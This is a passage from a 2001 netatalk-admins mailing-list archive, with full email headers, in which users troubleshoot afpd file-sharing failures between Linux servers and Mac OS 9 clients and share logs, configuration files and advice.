	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04587
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 14:59:15 -0500 (EST)
Received: from fwd04.sul.t-online.com 
	by mailout00.sul.t-online.com with smtp 
	id 14fSHi-0008IW-02; Tue, 20 Mar 2001 20:59:14 +0100
Received: from [192.168.0.33] (07031811601-0001@[217.2.89.191]) by fmrl04.sul.t-online.com
	with esmtp id 14fSHJ-15vd44C; Tue, 20 Mar 2001 20:58:49 +0100
Mime-Version: 1.0
Message-Id: <a0501040eb6dd66d682af@[192.168.0.33]>
In-Reply-To: <3AB79F74.CC9C6EBE@gac.edu>
References: <3AB79F74.CC9C6EBE@gac.edu>
Date: Tue, 20 Mar 2001 21:00:31 +0100
To: netatalk-admins@umich.edu
From: =?iso-8859-1?Q?J=FCrgen?= Weltzer <weltzer@werbeagentur-weltzer.de>
Subject: Re: Problems copying to shares
Content-Type: text/plain; charset="iso-8859-1" ; format="flowed"
X-Sender: 07031811601-0001@t-dialin.net
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA09390

>
>Mar 20 12:53:08 dot afpd[20415]: setdirowner: chown -1/0
>.AppleDouble/.Parent: Operation not permitted

I find this too in my var/log/messages

what does this mean? How can I fix it?
Thanks.
-- 
Viele Grüße
Jürgen Weltzer

- - - - - - - - - - - - - - - - - - -
Werbeagentur Weltzer
Max-Eyth-Straße 8
71065 Sindelfingen
Tel. +49 (0) 70.31.81.32.31
Fax +49 (0) 70.31.81.16.01
http://www.w-ww.de/
- - - - - - - - - - - - - - - - - - -

Windows95/98/NT: 32 bit extension and a graphical shell for a 16 bit
patch to an 8 bit operating system originally coded for a 4 bit
microprocessor, written by a 2 bit company, that can't stand 1 bit of
competition

From netatalk.administrators-errors@umich.edu  Tue Mar 20 15:16:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id PAA10221
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 15:16:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA14778
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 15:16:27 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id PAA14730
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 15:16:21 -0500 (EST)
Received: from wifomail.med.uni-muenchen.de (wifomail.med.uni-muenchen.de [138.245.16.100])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id PAA14335
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 15:16:05 -0500 (EST)
Received: from marcsmultios (war52n.anr.med.uni-muenchen.de [138.245.145.192])
	by wifomail.med.uni-muenchen.de (8.10.1/8.9.1) with SMTP id f2KKFrT20009
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 21:15:53 +0100 (CET)
Message-ID: <002801c0b17a$7f53f8f0$c091f58a@anr.med.unimuenchen.de>
From: "Marc Lazarovici" <Marc.Lazarovici@anr.med.uni-muenchen.de>
To: <netatalk-admins@umich.edu>
References: <3AB79F74.CC9C6EBE@gac.edu>
Subject: Re: Problems copying to shares
Date: Tue, 20 Mar 2001 21:15:19 +0100
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2014.211
X-MIMEOLE: Produced By Microsoft MimeOLE V5.00.2014.211


----- Original Message -----
From: Curtis Hulett <chulett@gac.edu>
To: <netatalk-admins@umich.edu>
Sent: Tuesday, March 20, 2001 7:20 PM
Subject: Problems copying to shares


> I am running 1.5pre5 on redhat 6.2. I have netatalk installed and users
> are authenticated correctly and I can see shares. I am however having
> problems with the shares. The client macs are running OS 9.0.4
> the exact message the finder gives me is
>
> The Item "<anyfile>" cannot be written, because it is locked. Do you
> want to continue?
>
> I get this when copying from the local harddisk to the network share.
> The file is NOT locked on the harddisk and this only happens when going
> to a netatalk share. When I say continue a O byte file is created on the
> share. An entry is also created in the .AppleDouble directory. I can
> successfully create directories.
>
>  The unix permissions are fine on the directory I'm sharing. The
> permissions on the .AppleDouble directory are drwxr-xr-x The permissions
> on the .AppleDouble/.Parent file are -rw-r--r-- . All the  permissions
> on other files in the .AppleDouble are  ----------  I suspect this is
> causeing me the problems.

>>>>>>>>>>>>>>>>>>>>>>>>>>>
I am having the same problem, with 1.5pre5 on LinuxPPC - I tried setting the
permissions of all files in .AppleDouble to rwxrwxrwx, also to the .Parent
file - no effect.


> /var/log/messages has the following:
>
> Mar 20 12:53:01 dot afpd[20411]: randnum/rand2num login: chulett
> Mar 20 12:53:01 dot afpd[20411]: 0.11KB read, 0.10KB written
> Mar 20 12:53:01 dot afpd[20320]: server_child[1] 20411 done
> Mar 20 12:53:06 dot afpd[20415]: ASIP session:548(2) from
> 138.236.68.21:49156(0)
> Mar 20 12:53:06 dot afpd[20415]: randnum/rand2num login: chulett
> Mar 20 12:53:06 dot afpd[20415]: login chulett (uid 20040, gid 1006)
> Mar 20 12:53:08 dot afpd[20415]: setdirowner: chown -1/0
> .AppleDouble/.Parent: Operation not permitted
> Mar 20 12:55:25 dot afpd[20415]: logout chulett
> Mar 20 12:55:25 dot afpd[20415]: 6.42KB read, 21.59KB written
> Mar 20 12:55:25 dot afpd[20320]: server_child[1] 20415 done
>

>>>>>>>>>>>>>>>>>>>>>>>
My log messages are quite similar. Is there a way to get afpd more verbose?
Perhaps it would tell us more about the problem...

Marc Lazarovici




From netatalk.administrators-errors@umich.edu  Tue Mar 20 20:48:43 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id UAA19548
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 20:48:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA23861
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 20:48:43 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id UAA23848
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 20:48:42 -0500 (EST)
Received: from srv13-poa.poa.terra.com.br (srv13-poa.poa.zaz.com.br [200.248.149.91])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id UAA23802
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 20:48:40 -0500 (EST)
Received: from smtptst.poa.terra.com.br (smtptst.poa.terra.com.br [200.248.149.244])
	by srv13-poa.poa.terra.com.br (8.9.3/8.9.3) with ESMTP id WAA18566;
	Tue, 20 Mar 2001 22:48:29 -0300
Received: from flinux (dl-adsl-sao-C8B6D028.sao.terra.com.br [200.182.208.40])
	(authenticated user engfmv)
	by smtptst.poa.terra.com.br (8.11.0/8.11.1) with ESMTP id f2L1mNx02674;
	Tue, 20 Mar 2001 22:48:24 -0300
Reply-To: <engfmv@terra.com.br>
From: "Eng. Fernando Meirelles Vieira" <engfmv@terra.com.br>
To: "alan premselaar" <alien@12inch.com>, "Eric Long" <eric@metrotv.com>,
        "Walt Reed" <walt@terrascope.com>, <netatalk-admins@umich.edu>
Subject: station locks 
Date: Tue, 20 Mar 2001 22:48:26 -0300
Message-ID: <JOEDLOAANNMIGPEFABLAAEDGCEAA.engfmv@terra.com.br>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-2022-jp"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <v04210a00b6dc3baea47a@[192.168.200.10]>

I have a net Linux RedHat 6.2 with 4 mac and 4 pc,
with samba and AppleTalk: netatalk-1.4b2+asun2.1.3,
has 3 HD - 1 SCSI 4,5 - 1 IDE 20G - 1 IDE 30G,
when 1 or more workstation records in HD 30G the station MAC locks

"Samba" not erro

It follows log in the moment of the mistake + / - 10:16:

/var/log/messages

Mar 21 10:11:33 linux last message repeated 2 times
Mar 21 10:12:37 linux last message repeated 2 times
======================
Mar 21 10:13:09 linux modprobe: modprobe: Can't locate module char-major-6
Mar 21 10:13:39 linux afpd[1469]: afp_alarm: child timed out
Mar 21 10:13:39 linux afpd[1469]: 30048.99KB read, 1122.12KB written
Mar 21 10:13:39 linux PAM_pwdb[1469]: (netatalk) session closed for user
fernando
Mar 21 10:13:39 linux afpd[1276]: server_child[1] 1469 exited 1
======================
Mar 21 10:13:41 linux modprobe: modprobe: Can't locate module char-major-6
Mar 21 10:14:13 linux modprobe: modprobe: Can't locate module char-major-6
======================
Mar 21 10:15:17 linux last message repeated 2 times
Mar 21 10:16:21 linux last message repeated 2 times
Mar 21 10:16:24 linux afpd[1649]: ASIP session:548(1) from
10.10.10.169:49152(2)
Mar 21 10:16:24 linux afpd[1276]: server_child[1] 1649 done
Mar 21 10:16:35 linux afpd[1652]: ASIP session:548(1) from
10.10.10.169:49153(2)
Mar 21 10:16:35 linux PAM_pwdb[1652]: (netatalk) session opened for user
fernando by (uid=0)
Mar 21 10:16:35 linux afpd[1652]: login fernando (uid 500, gid 4)
Mar 21 10:16:35 linux afpd[1652]: afp_getsrvrparms: stat /home/fernando: No
such file or directory
Mar 21 10:16:53 linux modprobe: modprobe: Can't locate module char-major-6
Mar 21 10:17:25 linux modprobe: modprobe: Can't locate module char-major-6
Mar 21 10:18:29 linux last message repeated 2 times

[]s
Fernando
engfmv@terra.com.br
Brazil


From netatalk.administrators-errors@umich.edu  Tue Mar 20 21:15:59 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20049
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 21:15:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA29308
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 21:15:59 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA29287
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 21:15:58 -0500 (EST)
Received: from runner.ucdavis.edu (runner.ucdavis.edu [169.237.105.37])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA29234
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 21:15:57 -0500 (EST)
Received: from localhost (itlm019@localhost [127.0.0.1])
	by runner.ucdavis.edu (8.11.1/8.11.0/IT4.4.8) with ESMTP id f2L2Fqx28349;
	Tue, 20 Mar 2001 18:15:52 -0800 (PST)
Date: Tue, 20 Mar 2001 18:15:52 -0800 (PST)
From: Marc Miller <itlm019@mailbox.ucdavis.edu>
X-Sender: itlm019@runner.ucdavis.edu
To: "Eng. Fernando Meirelles Vieira" <engfmv@terra.com.br>
cc: netatalk-admins@umich.edu
Subject: Re: station locks 
In-Reply-To: <JOEDLOAANNMIGPEFABLAAEDGCEAA.engfmv@terra.com.br>
Message-ID: <Pine.GSO.4.21.0103201811020.26909-100000@runner.ucdavis.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Looks like your AppleVolumes.default is still at its default of ~ (make
home directories mountable).  If that's not your intention, you need to
either modify AppleVolumes.default or create a home directory for this
user.

As for size, I'm pretty sure I read that 20G is pretty much the maximum
netatalk 1.4b2 or MacOS (or both?) can understand.  Some changes have been
made in the 1.5 prereleases to break the 20G barrier, but I'm not quite
sure how it's handled.  If it was a MacOS problem, I'd write the code to
always return 20G free if the free space is >= 20G.  But I'm not sure how
that patch was written.  I work with a 2G hard drive, so it's not
something I've had the opportunity to play around with.  :)

On Tue, 20 Mar 2001, Eng. Fernando Meirelles Vieira wrote:

> I have a net Linux RedHat 6.2 with 4 mac and 4 pc,
> with samba and AppleTalk: netatalk-1.4b2+asun2.1.3,
> has 3 HD - 1 SCSI 4,5 - 1 IDE 20G - 1 IDE 30G,
> when 1 or more workstation records in HD 30G the station MAC locks
> 
> "Samba" not erro
> 
> It follows log in the moment of the mistake + / - 10:16:
> 
> /var/log/messages
> 
> Mar 21 10:11:33 linux last message repeated 2 times
> Mar 21 10:12:37 linux last message repeated 2 times
> ======================
> Mar 21 10:13:09 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:13:39 linux afpd[1469]: afp_alarm: child timed out
> Mar 21 10:13:39 linux afpd[1469]: 30048.99KB read, 1122.12KB written
> Mar 21 10:13:39 linux PAM_pwdb[1469]: (netatalk) session closed for user
> fernando
> Mar 21 10:13:39 linux afpd[1276]: server_child[1] 1469 exited 1
> ======================
> Mar 21 10:13:41 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:14:13 linux modprobe: modprobe: Can't locate module char-major-6
> ======================
> Mar 21 10:15:17 linux last message repeated 2 times
> Mar 21 10:16:21 linux last message repeated 2 times
> Mar 21 10:16:24 linux afpd[1649]: ASIP session:548(1) from
> 10.10.10.169:49152(2)
> Mar 21 10:16:24 linux afpd[1276]: server_child[1] 1649 done
> Mar 21 10:16:35 linux afpd[1652]: ASIP session:548(1) from
> 10.10.10.169:49153(2)
> Mar 21 10:16:35 linux PAM_pwdb[1652]: (netatalk) session opened for user
> fernando by (uid=0)
> Mar 21 10:16:35 linux afpd[1652]: login fernando (uid 500, gid 4)
> Mar 21 10:16:35 linux afpd[1652]: afp_getsrvrparms: stat /home/fernando: No
> such file or directory
> Mar 21 10:16:53 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:17:25 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:18:29 linux last message repeated 2 times
> 
> []s
> Fernando
> engfmv@terra.com.br
> Brazil
> 

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/


From netatalk.administrators-errors@umich.edu  Tue Mar 20 21:37:19 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20385
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 21:37:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15812
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 21:37:19 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA15800
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 21:37:18 -0500 (EST)
Received: from mail.arcor-ip.de (mail-ffm-p.arcor-ip.de [145.253.2.10])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA15661
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 21:37:09 -0500 (EST)
Received: from [192.168.1.20] (213.23.36.249) by mail.arcor-ip.de; 21 Mar 2001 03:37:04 +0100
Mime-Version: 1.0
X-Sender: jgrantha@mail.hannover.sgh-net.de
Message-Id: <p05010401b6ddbfea15a3@[192.168.1.20]>
Date: Wed, 21 Mar 2001 03:35:11 +0100
To: netatalk-admins@umich.edu
From: John L Grantham <john@grantham.com>
Subject: Probs with netatalk -- server crashes
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hi all,

I've been having some weird troubles with netatalk-1.4b2+asun2.1.3-7 
on a beige G3 with LinuxPPC 2000 Q4, kernel 2.2.18, an Asante 
10/100BaseT Ethernet card, and IBM 30 GB Deskstar IDE drive.

It all had been working just fine for months until today, literally 
as I was working and saving a file to the server from a Mac.

The Macs are all running Mac OS 9.1, most connected via 100BaseT Ethernet.

Here is the phenomenon:

1. When I try to copy a file to the server, the Mac reads the file 
into memory, then gets stuck once trying to send it to the server; 
eventually, the server will close the connection. Meanwhile, the 
server keeps trying to write the file (even after the connection is 
closed) so that it balloons to many megabytes (even over a gigabyte) 
in size, until I stop atalkd and kill -9 afpd (that seems to be the 
only way to stop this from happening more).

2. Copying from the server works fine most of the time, but sometimes 
during a long copy, especially involving many files, the server will 
close the connection before the copy is finished.

When problem 2 shows up, this appears in /var/log/messages:

Mar 21 03:27:11 localhost afpd[946]: dsi_stream_read(-1): Connection 
reset by peer
Mar 21 03:27:11 localhost afpd[946]: dsi_stream_write: Broken pipe
Mar 21 03:27:11 localhost afpd[946]: 1091.27KB read, 28239.01KB written
Mar 21 03:27:11 localhost PAM_pwdb[946]: (netatalk) session closed 
for user John
Mar 21 03:27:11 localhost afpd[946]: dsi_stream_write: Broken pipe
Mar 21 03:27:11 localhost afpd[670]: server_child[1] 946 exited 1

If other Macs are connected, they don't seem to be affected, unless 
they are also trying to copy at the same time.

I had a power outage yesterday, but I checked the filesystems with 
fsck -fv, and everything seems to be okay. And it worked okay after 
the outage -- just suddenly stopped working today.

The only other thing that changed on the server today was that I 
installed a Voodoo graphic card -- but that can't affect it, can it?

Everything else on the computer seems to work fine (XFree86, normal 
copying, SSH/scp, etc.).

As it happens, I also tried updating to netatalk-1.5pre5, and ended 
up having exactly the same problems others have mentioned -- not 
being able to copy to the server because of a lack of access 
privileges, with resource files showing up in .AppleDouble with no 
permissions (---------). So I downgraded to 1.4b2+asun2.1.3-7 again, 
and then the two problems above reappeared.

Any suggestions?

Cheers,

John

PS Please CC me on any response -- thanks!
-- 

John Grantham	| Dipl.-Designer (FH)
		| Homepage       http://design.macnews.de/
		| Linux for PPC  http://www.linuxppc.org/
Web Designer	| AGD Member     http://www.agd.de/

From netatalk.administrators-errors@umich.edu  Tue Mar 20 21:38:57 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20453
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 21:38:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA17454
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 21:38:56 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA17438
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 21:38:56 -0500 (EST)
Received: from srv13-poa.poa.terra.com.br (srv13-poa.poa.zaz.com.br [200.248.149.91])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA17393
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 21:38:54 -0500 (EST)
Received: from smtptst.poa.terra.com.br (smtptst.poa.terra.com.br [200.248.149.244])
	by srv13-poa.poa.terra.com.br (8.9.3/8.9.3) with ESMTP id XAA13252;
	Tue, 20 Mar 2001 23:38:53 -0300
Received: from flinux (dl-adsl-sao-C8B6D028.sao.terra.com.br [200.182.208.40])
	(authenticated user engfmv)
	by smtptst.poa.terra.com.br (8.11.0/8.11.1) with ESMTP id f2L2clx04352;
	Tue, 20 Mar 2001 23:38:47 -0300
Reply-To: <engfmv@terra.com.br>
From: "Eng. Fernando Meirelles Vieira" <engfmv@terra.com.br>
To: "Marc Miller" <itlm019@mailbox.ucdavis.edu>
Cc: <netatalk-admins@umich.edu>
Subject: RES: station locks 
Date: Tue, 20 Mar 2001 23:38:46 -0300
Message-ID: <JOEDLOAANNMIGPEFABLAIEDHCEAA.engfmv@terra.com.br>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
In-Reply-To: <Pine.GSO.4.21.0103201811020.26909-100000@runner.ucdavis.edu>

Thank you for the clue, more I will
admit that I don't know how to configure
AppleVolumes.default correctly.

My parameters are:

papd.conf <--- Pattern of the installation
afpd.conf <--- Pattern of the installation
config <--- Pattern of the installation
AppleVolumes.system <--- Pattern of the installation


AppleVolumes.default
=======================================
/home/fernando
/home/dir-pc
/home/hdrede hdrede access=fernando,henrique,marcelo,@adm,@trabalho
/home/hd30 hd30 access=fernando,henrique,marcelo,@adm,@trabalho
/mnt/cdrom
~
=======================================

atalk.conf
=======================================
eth1 -phase 2 -net 0-65534 -addr 65280.162
=======================================



-----Mensagem original-----
De: Marc Miller [mailto:itlm019@mailbox.ucdavis.edu]
Enviada em: terca-feira, 20 de marco de 2001 23:16
Para: Eng. Fernando Meirelles Vieira
Cc: netatalk-admins@umich.edu
Assunto: Re: station locks


Looks like your AppleVolumes.default is still at its default of ~ (make
home directories mountable).  If that's not your intention, you need to
either modify AppleVolumes.default or create a home directory for this
user.

As for size, I'm pretty sure I read that 20G is pretty much the maximum
netatalk 1.4b2 or MacOS (or both?) can understand.  Some changes have been
made in the 1.5 prereleases to break the 20G barrier, but I'm not quite
sure how it's handled.  If it was a MacOS problem, I'd write the code to
always return 20G free if the free space is >= 20G.  But I'm not sure how
that patch was written.  I work with a 2G hard drive, so it's not
something I've had the opportunity to play around with.  :)

On Tue, 20 Mar 2001, Eng. Fernando Meirelles Vieira wrote:

> I have a net Linux RedHat 6.2 with 4 mac and 4 pc,
> with samba and AppleTalk: netatalk-1.4b2+asun2.1.3,
> has 3 HD - 1 SCSI 4,5 - 1 IDE 20G - 1 IDE 30G,
> when 1 or more workstation records in HD 30G the station MAC locks
>
> "Samba" not erro
>
> It follows log in the moment of the mistake + / - 10:16:
>
> /var/log/messages
>
> Mar 21 10:11:33 linux last message repeated 2 times
> Mar 21 10:12:37 linux last message repeated 2 times
> ======================
> Mar 21 10:13:09 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:13:39 linux afpd[1469]: afp_alarm: child timed out
> Mar 21 10:13:39 linux afpd[1469]: 30048.99KB read, 1122.12KB written
> Mar 21 10:13:39 linux PAM_pwdb[1469]: (netatalk) session closed for user
> fernando
> Mar 21 10:13:39 linux afpd[1276]: server_child[1] 1469 exited 1
> ======================
> Mar 21 10:13:41 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:14:13 linux modprobe: modprobe: Can't locate module char-major-6
> ======================
> Mar 21 10:15:17 linux last message repeated 2 times
> Mar 21 10:16:21 linux last message repeated 2 times
> Mar 21 10:16:24 linux afpd[1649]: ASIP session:548(1) from
> 10.10.10.169:49152(2)
> Mar 21 10:16:24 linux afpd[1276]: server_child[1] 1649 done
> Mar 21 10:16:35 linux afpd[1652]: ASIP session:548(1) from
> 10.10.10.169:49153(2)
> Mar 21 10:16:35 linux PAM_pwdb[1652]: (netatalk) session opened for user
> fernando by (uid=0)
> Mar 21 10:16:35 linux afpd[1652]: login fernando (uid 500, gid 4)
> Mar 21 10:16:35 linux afpd[1652]: afp_getsrvrparms: stat /home/fernando:
No
> such file or directory
> Mar 21 10:16:53 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:17:25 linux modprobe: modprobe: Can't locate module char-major-6
> Mar 21 10:18:29 linux last message repeated 2 times
>
> []s
> Fernando
> engfmv@terra.com.br
> Brazil
>

============================================================
	/\/\arc ._|. /\/\iller (itlm019@mailbox.ucdavis.edu)
	Computer Room Consultant
	Information Technology/Lab Management
============================================================
I can be contacted through the Communication Center link from
http://www.mother.com/~mjmiller/



From netatalk.administrators-errors@umich.edu  Tue Mar 20 21:49:40 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id VAA20838
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 20 Mar 2001 21:49:40 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA02443
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 20 Mar 2001 21:49:33 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id VAA02426
	for netatalk.administrators-members@umich.edu; Tue, 20 Mar 2001 21:49:32 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id VAA02386
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 21:49:31 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f2L2nXk06974
	for <netatalk-admins@umich.edu>; Tue, 20 Mar 2001 20:49:34 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 20 Mar 2001 20:48:42 -0600
Subject: Re: station locks 
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6DD72AA.12FAA%bucky@interaccess.com>
In-Reply-To: <Pine.GSO.4.21.0103201811020.26909-100000@runner.ucdavis.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

I have a G3 with a 45GB drive under OS 9.1. Everything on the drive is
accessible. And the Finder accurately displays the space. So if it is a Mac
problem, it must be an earlier system.

-B...

> From: Marc Miller <itlm019@mailbox.ucdavis.edu>
> Date: Tue, 20 Mar 2001 18:15:52 -0800 (PST)
> To: "Eng. Fernando Meirelles Vieira" <engfmv@terra.com.br>
> Cc: netatalk-admins@umich.edu
> Subject: Re: station locks
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 20 Mar 2001 21:20:49 -0500 (EST)
> 
> Looks like your AppleVolumes.default is still at its default of ~ (make
> home directories mountable).  If that's not your intention, you need to
> either modify AppleVolumes.default or create a home directory for this
> user.
> 
> As for size, I'm pretty sure I read that 20G is pretty much the maximum
> netatalk 1.4b2 or MacOS (or both?) can understand.  Some changes have been
> made in the 1.5 prereleases to break the 20G barrier, but I'm not quite
> sure how it's handled.  If it was a MacOS problem, I'd write the code to
> always return 20G free if the free space is >= 20G.  But I'm not sure how
> that patch was written.  I work with a 2G hard drive, so it's not
> something I've had the opportunity to play around with.  :)
> 
> On Tue, 20 Mar 2001, Eng. Fernando Meirelles Vieira wrote:
> 
>> I have a net Linux RedHat 6.2 with 4 mac and 4 pc,
>> with samba and AppleTalk: netatalk-1.4b2+asun2.1.3,
>> has 3 HD - 1 SCSI 4,5 - 1 IDE 20G - 1 IDE 30G,
>> when 1 or more workstation records in HD 30G the station MAC locks
>> 
>> "Samba" not erro
>> 
>> It follows log in the moment of the mistake + / - 10:16:
>> 
>> /var/log/messages
>> 
>> Mar 21 10:11:33 linux last message repeated 2 times
>> Mar 21 10:12:37 linux last message repeated 2 times
>> ======================
>> Mar 21 10:13:09 linux modprobe: modprobe: Can't locate module char-major-6
>> Mar 21 10:13:39 linux afpd[1469]: afp_alarm: child timed out
>> Mar 21 10:13:39 linux afpd[1469]: 30048.99KB read, 1122.12KB written
>> Mar 21 10:13:39 linux PAM_pwdb[1469]: (netatalk) session closed for user
>> fernando
>> Mar 21 10:13:39 linux afpd[1276]: server_child[1] 1469 exited 1
>> ======================
>> Mar 21 10:13:41 linux modprobe: modprobe: Can't locate module char-major-6
>> Mar 21 10:14:13 linux modprobe: modprobe: Can't locate module char-major-6
>> ======================
>> Mar 21 10:15:17 linux last message repeated 2 times
>> Mar 21 10:16:21 linux last message repeated 2 times
>> Mar 21 10:16:24 linux afpd[1649]: ASIP session:548(1) from
>> 10.10.10.169:49152(2)
>> Mar 21 10:16:24 linux afpd[1276]: server_child[1] 1649 done
>> Mar 21 10:16:35 linux afpd[1652]: ASIP session:548(1) from
>> 10.10.10.169:49153(2)
>> Mar 21 10:16:35 linux PAM_pwdb[1652]: (netatalk) session opened for user
>> fernando by (uid=0)
>> Mar 21 10:16:35 linux afpd[1652]: login fernando (uid 500, gid 4)
>> Mar 21 10:16:35 linux afpd[1652]: afp_getsrvrparms: stat /home/fernando: No
>> such file or directory
>> Mar 21 10:16:53 linux modprobe: modprobe: Can't locate module char-major-6
>> Mar 21 10:17:25 linux modprobe: modprobe: Can't locate module char-major-6
>> Mar 21 10:18:29 linux last message repeated 2 times
>> 
>> []s
>> Fernando
>> engfmv@terra.com.br
>> Brazil
>> 
> 
> ============================================================
